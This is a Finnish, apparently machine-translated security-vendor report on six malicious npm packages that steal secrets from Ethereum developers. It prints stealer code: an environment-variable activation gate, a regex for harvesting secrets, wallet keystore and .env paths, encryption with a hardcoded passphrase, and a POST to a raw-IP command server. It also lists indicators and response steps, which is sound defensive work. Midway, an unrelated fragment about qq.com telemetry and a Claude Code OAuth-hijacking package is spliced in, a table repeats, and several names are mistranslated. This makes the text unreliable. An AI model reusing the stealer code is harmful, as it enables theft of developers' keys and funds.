TL; DR
6. toukokuuta 2026 yksi ainoa npm-julkaisija namikazesarada010206julkaisi kuusi haitallista pakettia, jotka kohdistettiin Ethereumin, Solidityn ja DeFi-kehittäjäekosysteemiin.
Paketit, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsja web3-utils-core, käytti uskottavia nimiä, jotka oli suunniteltu näyttämään suosittujen Web3-työkalujen apukirjastoilta.
Kaikki kuusi pakettia sisälsivät saman telemetry.js tiedosto. Tiedosto oli tavujen identtinen koko klusterissa, ja siinä oli SHA-256:
Haittaohjelma ei käynnisty asennuksen aikana. Ei ole olemassa preinstall or postinstall koukku. Sen sijaan se aktivoituu, kun paketti tuodaan require().
Tuo yksityiskohta on tärkeä.
Implantti odottaa, kunnes kehittäjä todella käyttää pakettia. Sitten se tarkistaa, näyttääkö työasema oikealta Ethereum/Solidity-kehitysympäristöltä. Se etsii Alchemy- tai Infura-avaimia, yksityisiä avaimia, muistisääntöjä, käyttöönottoavaimia tai paikallista Foundry-hakemistoa.
Jos isäntä täsmää, varastaja kerää SSH-yksityiset avaimet, Foundry-/Geth-/Brownie-lompakoiden avainsäilöt, .env* tiedostoja ja arkaluonteisia ympäristömuuttujia. Se salaa paketin AES-256-GCM-salauksella kovakoodatulla salasanalla ja suodattaa sen raakaan IPv4 C2 -päätepisteeseen, jossa TLS-vahvistus on poistettu käytöstä.
Xygenin haittaohjelmien varhaisvaroitusjärjestelmä (MEW) vahvisti kaikki kuusi pakettia haitallisiksi. npm-rekisterin poistoraporttipaketti on vireillä.
Klusteri: Kuusi pakettia, yksi julkaisija
Julkaisijan tili namikazesarada010206 oli linkitetty vahvistamattomaan Gmail-osoitteeseen namikazesarada010206@gmail.com.
Kampanja julkaistiin yhden päivän julkaisuna 6. toukokuuta 2026. Kaikki kuusi pakettia versioitiin seuraavasti: 1.0.0, ei ollut lainkaan ajonaikaisia riippuvuuksia ja toimitti vain kolme tiedostoa:
package.json index.js telemetry.js He ilmoittivat myös saman lähdekoodivaraston:
https://github.com/harunosakura030303-maker/evmchain-config MEW-skannerit lukitsivat kolme ensimmäistä pakettia ensimmäisen julkaisun yhteydessä. Loput kolme merkittiin pakotetusti analyytikoiden tarkasteltua julkaisijan npm-profiilia. Kun samat tavuidenttiset telemetry.js vahvistettiin koko klusterissa, ne suljettiin haitallisiksi johdonmukaisuuden perusteella.
| Paketti | Versio | npm Julkaistu | MEW-lippu | Tuomio |
|---|---|---|---|---|
| viem-ydin | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Ilkeä |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Ilkeä |
| hardhat-core-utils | 1.0.0 | 2026-05-06 | #51051 | Ilkeä |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Johdonmukaisesti haitallinen |
| valimo-utils | 1.0.0 | 2026-05-06 | #51071 | Johdonmukaisesti haitallinen |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Johdonmukaisesti haitallinen |
Nimeämisstrategia on yksinkertainen mutta tehokas.
Nämä paketit eivät jäljittele tarkkoja ylävirran nimiä. Sen sijaan ne käyttävät uskottavia ”apuohjelma”-päätteitä, kuten -core, -utilsja -utils-coreSe saa ne näyttämään kumppanikirjastoilta, joita kehittäjä saattaisi odottaa näkevänsä Web3-työkalujen lähellä.
| Haitallinen paketti | Laillinen kohde |
|---|---|
| viem-ydin | viem, suosittu Ethereum TypeScript -asiakasohjelma |
| viem-utils-core | viem |
| hardhat-core-utils | kypärä, valtavirran Solidityn kehitysympäristö |
| evm-utils | Yleinen EVM-työkalujen nimiavaruus |
| valimo-utils | valimo, Solidityn työkaluketju |
| web3-utils-core | web3-apuohjelmat, Web3.js-apuohjelmat |
Tämä on ”lisäpakkaus”-malli: ei ”minä olen oikea paketti”, vaan ”näytän kohtuulliselta auttajalta oikean paketin ympärillä”.
DeFi-kehittäjille, jotka toimivat nopeasti, se riittää luomaan riskin.
Mitä tapahtuu, kun paketti tuodaan
Hyökkäysketju on pieni, harkittu ja keskittyy kryptokehitysympäristöihin.
Asennuskoukkua ei ole. Sen sijaan jokainen pakkaus sisältää index.js joka vie tynkätoiminnot ja lataa sitten haitallisen telemetriamoduulin.
require('./telemetry').init(); Tämä tarkoittaa, että haittaohjelma aktivoituu ensimmäisen tuonnin yhteydessä.
Tämä on hyökkääjälle toiminnallisesti hyödyllistä. Monet skannerit ja hiekkalaatikot keskittyvät asennuksenaikaiseen toimintaan. Tämä paketti odottaa, kunnes kehittäjä, koontikomentosarja, testipaketti tai ajonaikainen polku todella käyttää sitä.
Aktivointiportti: Käynnistä vain oikeilla Web3-kehittäjätyöasemilla
Implantin tärkein osa on aktivointiportti.
Haittaohjelma tarkistaa ympäristömuuttujia, joita yleisesti löytyy Ethereum/Solidity-kehittäjien koneista:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Se tarkistaa myös, näyttääkö Foundry olevan asennettuna:
fs.existsSync(path.join(os.homedir(), '.foundry')) Jos kumpikaan ehto ei ole tosi, funktio palauttaa arvon eikä tee mitään.
Tämä tekee paketista hiljaisemman yleisissä analyysiympäristöissä. Hiekkalaatikko, jossa ei ole Foundry-, Alchemy- tai Infura-avaimia, yksityisiä avaimia tai muistisääntöjä, saattaa nähdä vaarattoman näköisen tuonnin.
Vastaavalla isännällä haittaohjelma odottaa 60–90 sekuntia ennen keräämistä:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Viive vähentää ilmeistä korrelaatiota tuonnin ja ulosvirtauksen välillä. .unref() Kutsu antaa isäntäprosessin myös lopettaa normaalisti, jos paketti tuotiin lyhytikäisenä komentosarjana.
Tämä ei ole kohinaista "smash-and-grab"-käyttäytymistä. Se on kohdennettu varastava hyökkäys, joka on suunniteltu välttämään suoritusta, ellei kehittäjäympäristö ole varastamisen arvoinen.
Mitä varas kerää
Kun aktivointiprosessi on läpäissyt sen, haittaohjelma kerää tietoja Web3-kehityksessä tärkeimmistä lähteistä: yksityiset avaimet, lompakon avainsäilöt, käyttöönottotiedot, pilvisalaisuudet, npm-tokenit ja paikalliset projektiasetukset.
| Lähde | Mitä kerätään |
|---|---|
| prosessi.ympäristö | Mikä tahansa muuttuja, joka vastaa /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Tiedostot, jotka sisältävät PRIVATE KEY- tai BEGIN OPENSSH -käskyn, mukaan lukien tiedoston koko sisältö |
| ~/.foundry/keystores/* | Foundry-lompakon avainsäilötiedostot |
| ~/.ethereum/keystore/* | Geth-lompakon avainsäilötiedostot |
| ~/.brownie/tilit/* | Brownie-lompakon avainsäilötiedostot |
| ${cwd}/.env | Koko tiedoston sisältö |
| ${cwd}/.env.local | Koko tiedoston sisältö |
| ${cwd}/.env.production | Koko tiedoston sisältö |
| ${cwd}/.env.development | Koko tiedoston sisältö |
| os.hostname() | Isännän metatiedot |
| krypto.satunnainenUUID() | Uhrin/istunnon tunniste |
| Päivämäärä.nyt() | Kokoelman aikaleima |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com ATTA-tokenit ovat:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Emme ole pystyneet vahvistamaan, oliko telemetria operaattorin omaa analytiikkaa vai erikseen kaupallistettua kanavaa. ATTA-tokenit ovat samat molemmissa tutkimissamme otoksissa.
Klusteri B: heibai
claude.hk OAuth-tietojenkalastelu + ANTHROPIC_BASE_URL-kaappaus
Huhtikuun 1. päivän otos on kampanjan karkeampi ja varhaisempi osa.
heibai:2.1.88-claude.hk-4 julkaisi wuguoqiangvip28, tili, joka luotiin 7. kesäkuuta 2025. Paketti versioi itsensä nimenomaisesti laillista sisältöä vastaan 2.1.88 Ihmisen aiheuttama vapautuminen.
Se ei vaivaa CA-sertifioidun MITM:n kanssa. Sen sijaan se valehtelee käyttäjälle OAuth-päätepisteestä.
Vuodetun Claude Code -lähdekoodin päälle on tehty seuraavat haitalliset lisäykset:
| Lähde | Mitä kerätään |
|---|---|
| prosessi.ympäristö | Mikä tahansa muuttuja, joka vastaa /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Tiedostot, jotka sisältävät PRIVATE KEY- tai BEGIN OPENSSH -käskyn, mukaan lukien tiedoston koko sisältö |
| ~/.foundry/keystores/* | Foundry-lompakon avainsäilötiedostot |
| ~/.ethereum/keystore/* | Geth-lompakon avainsäilötiedostot |
| ~/.brownie/tilit/* | Brownie-lompakon avainsäilötiedostot |
| ${cwd}/.env | Koko tiedoston sisältö |
| ${cwd}/.env.local | Koko tiedoston sisältö |
| ${cwd}/.env.production | Koko tiedoston sisältö |
| ${cwd}/.env.development | Koko tiedoston sisältö |
| os.hostname() | Isännän metatiedot |
| krypto.satunnainenUUID() | Uhrin/istunnon tunniste |
| Päivämäärä.nyt() | Kokoelman aikaleima |
Kohdeluettelo on erittäin tarkka. Kyseessä ei ole yleinen selainvarkaus tai laaja-alainen tunnistetietojen kaavinta. Se on suunnattu kehittäjille, jotka rakentavat, testaavat, ottavat käyttöön tai käyttävät Ethereum-sovelluksia.
Foundry-, Geth- ja Brownie-avainten säilyttäminen on erityisen tärkeää. Nämä tiedostot voivat edustaa suoraa pääsyä lompakkoihin tai käyttöönottoidentiteetteihin. Jos hyökkääjä pystyy yhdistämään ne salasanoihin, muistisääntöihin tai ympäristösalaisuuksiin, hän voi mahdollisesti siirtää varoja, esiintyä käyttöönottajina tai vaarantaa älysopimusten toimintoja.
Salaus ennen vuotoa
Haittaohjelma salaa kerätyt tiedot ennen niiden lähettämistä.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Kovakoodattu salasana on:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Lopullinen hyötykuorma kääritään JSON-muotoon:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Salaus ei itsessään tee haittaohjelmasta kehittyneempää. Se kuitenkin vaikeuttaa verkon tarkastusta. Lähtöliikennettä tarkkaileva puolustaja näkisi JSON-hyötykuorman, mutta ei varastettuja avaimia, lompakkotiedostoja tai muita vastaavia tietoja. .env sisältöä ilman kovakoodattua salasanaa ja salauksen purkulogiikkaa.
Purkautuminen raakaan IPv4 C2:een
Purkautumispolku on kiinteästi koodattu:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Haittaohjelma lähettää tietoja:
https://76.13.37.80:8443/api/v1/telemetry Kaksi yksityiskohtaa erottuu joukosta.
Ensinnäkin C2 on raaka IPv4-osoite eikä verkkotunnus. Tämä poistaa verkkotunnuksen rekisteröinnin tarpeen ja estää joitakin verkkotunnuspohjaisia tunnistuksia.
Toiseksi, TLS-vahvistus on poistettu käytöstä seuraavilla tavoilla:
rejectUnauthorized: false Tämä sallii haittaohjelman hyväksyä minkä tahansa varmenteen, mukaan lukien itse allekirjoitetut varmenteet. Toisin sanoen hyökkääjä saa salatun tiedonsiirron ilman voimassa olevaa julkista varmennetta.
Uudelleenyrityslogiikkaa eikä varapalvelinta ole. Virheet niellään hiljaa. Tämä pitää paketin hiljaisena, jos C2 on offline-tilassa tai tavoittamattomissa.
Miksi tällä kampanjalla on väliä
Useimmat kehittäjille suunnatut haitalliset npm-paketit jahtaavat laajoja tunnistetietoja: npm-tokeneja, AWS-avaimia, GitHub-tokeneja tai .npmrc tiedostoja.
Tämä kampanja kaventaa kohderyhmää.
Se etsii merkkejä siitä, että kone kuuluu Ethereum- tai Solidity-kehittäjälle. Sitten se hakee juuri ne resurssit, joilla on merkitystä kyseisessä ympäristössä: lompakon avainsäilöjä, yksityisiä avaimia, muistisääntöjä, käyttöönottoavaimia, .env tiedostot ja SSH-avaimet.
Se tekee kampanjasta vaarallisemman Web3-tiimeille kuin geneerinen NPM-varas.
Onnistunut tartunta voi paljastaa:
- Käyttöönottolompakot
- Älysopimusten järjestelmänvalvojan avaimet
- RPC-palveluntarjoajan avaimet
- Pilvikäyttöönoton tunnistetiedot
- npm-julkaisutunnukset
- SSH-yhteys kehittäjä- tai rakennusinfrastruktuuriin
- Projektin salaisuudet tallennettuna
.envTiedostojen - Lompakon avainsäilö Foundrylle, Gethille tai Brownielle
Myös pakettien nimet osoittavat selkeää sosiaalista manipulointia. Ne kohdistuvat Web3-kehittäjäekosysteemiin tuttujen työkalujen nimien kautta: viem, hardhat, foundry, evmja web3.
Toimijan ei tarvitse vaarantaa varsinaisia projekteja. He tarvitsevat vain kehittäjän asentamaan näennäisen kohtuullisen kumppanipaketin.
Vahingoittumisen ja havaitsemisen indikaattorit
| Paketit ja julkaisija | |
|---|---|
| Kenttä | Arvo |
| npm-julkaisija | namikazesarada010206 |
| Julkaisijan sähköpostiosoite | namikazesarada010206@gmail.com |
| sähköposti vahvistettu | Ei |
| SCM todennettu | Ei |
| Mainepisteet | 1.0 |
| Jäsenyydet | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, valimo-utils, web3-utils-core |
| versiot | Kaikki 1.0.0 |
| Lähdetietovarasto | https://github.com/harunosakura030303-maker/evmchain-config |
| Vahvistettu haitalliseksi | Kaikki kuusi pakettia |
| verkkotuotteet | |
|---|---|
| Tyyppi | Arvo |
| C2-päätepiste | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP-osoite | 76.13.37.80 |
| C2-portti | 8443/tcp |
| TLS-toiminta | hylkääLuvaton: false |
| Hyötykuorman kaava | {"v":2,"iv": ,"d": ,"t": } |
| Tiedostot ja tiivisteet | |
|---|---|
| Tyyppi | Arvo |
| telemetria.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Pakkauksen asettelu | paketti.json, index.js, telemetria.js |
| Tiedostojen määrä | 3 |
| Arvioitu kokonaiskoko | 3.4 KB |
Aktivointisignaalit
Haittaohjelma tarkistaa seuraavat ympäristömuuttujat:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Se tarkistaa myös:
~/.foundry/ Kohdistetut isäntäpolut
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Kokoelman regex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Havaitsemishuomautuksia
Useat säännöt kuvaavat tätä kampanjaa ilman täydellistä käyttäytymisanalyysiä.
Tarkista ensin lukitustiedostot kuuden haitallisen paketin nimen varalta:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Mikä tahansa ottelu package-lock.json, yarn.lock, pnpm-lock.yamltai node_modules historiaa tulisi käsitellä vakavana tapahtumana.
Toiseksi, valvo Node.js-prosesseja, jotka lukevat lompakon avainsäilöpolkuja:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Tämä on harvoin sallittua toimintaa apupaketille, joka on tuotu apuohjelmana. Se on erityisen epäilyttävää, jos sitä seuraa lähtevä verkkoliikenne.
Kolmanneksi, estä tai hälytä HTTPS-yhteyksistä seuraaviin kohteisiin:
76.13.37.80:8443 Varsinkin kun pyyntöpolku on:
/api/v1/telemetry Neljänneksi, etsi npm-paketteja, jotka yhdistävät nämä ominaisuudet:
- Uusi tai huonomaineinen julkaisija
- Vahvistamaton Gmail-tili
- Web3:n viereisen paketin nimi
- Ei merkityksellistä arkistohistoriaa
- Pieni pakkausasettelu
index.jsjoka lataa telemetria- tai aputiedoston- Ei ajonaikaisia riippuvuuksia
- Herkkä ympäristömuuttujien kokoelma
- Lompakon avainsäilön käyttöoikeus
Tämä malli on hyödyllisempi kuin yksittäinen IOC, koska seuraava paketti voi muuttaa IP-osoitetta, mutta säilyttää saman kohdistuslogiikan.
Kompromissivastauksen tarkistuslista
Jos kehittäjä käytti jotakin kuudesta paketista ja hänen ympäristönsä vastasi aktivointiporttia, työasemaa käsitellään vaarantuneena.
Tämä sisältää koneet, joihin on asennettu Foundry, ympäristössä olevat Alchemy- tai Infura-avaimet, yksityiset avaimet, muistisäännöt tai käyttöönottoavaimet.
Suositeltu vastaus:
- Irrota isäntäkone verkosta.
- säilyttää
node_modules, lukitustiedostot, komentotulkin historia ja asiaankuuluvat lokit rikostutkintaa varten. - Kierrätä jokainen SSH-avainpari alla
~/.ssh/. - Kierrätä lompakkoavaimia jokaiselle avainsäilölle alla olevassa luettelossa
~/.foundry,~/.ethereumja~/.brownie. - Siirrä varoja uusiin lompakoihin.
- Kierrätä jokaista tallennettua salaisuutta
.env*tiedostot kehittäjän työstämissä arkistoissa. - Kierrä kokoelman säännöllistä lauseketta vastaavia ympäristösalaisuuksia, mukaan lukien AWS-avaimet, npm-tokenit, käyttöönottotokenit, API-avaimet, yksityiset avaimet, siemenet ja muistisäännöt.
- Auditoi pilvipalvelun, npm:n, GitHubin, RPC-palveluntarjoajan ja lohkoketjun toimintaa paketin ensimmäisestä asennuksesta lähtien.
- Asenna työasema uudelleen ennen uudelleenkäyttöä.
Mitä puolustajien tulisi ottaa mukaansa
Tämä kampanja osoittaa, miten npm-typosquatting kehittyy arvokkaiden kehittäjien ekosysteemien ympärillä.
Toimija ei tarvinnut sinnikkyyttä. He eivät tarvinneet hämärtämistä. He eivät edes tarvinneet asennuksen aikaista suoritusta.
Sen sijaan he luottivat kolmeen asiaan:
- Uskottavat Web3-pakettien nimet
- Aktivointi vain oikeilla kryptovaluuttojen kehityskoneilla
- Ethereum-kehittäjille tärkeimpien tiedostojen ja salaisuuksien suora varastaminen
Tämä tekee kampanjasta helposti ohitettavan laajassa skannauksessa ja vaarallisen, kun se osuu oikeaan ympäristöön.
Web3-tiimeille opetus on selvä: käsittele riippuvuuksien nimiä osana uhkamalliasi. Paketti, joka näyttää harmittomalta apupaketilta, voi silti olla lyhin tie lompakon vaarantamiseen.
Ilmoitettu npm-rekisteriin. Päivitämme tätä viestiä, kun julkaisijan tili ja paketit on poistettu.




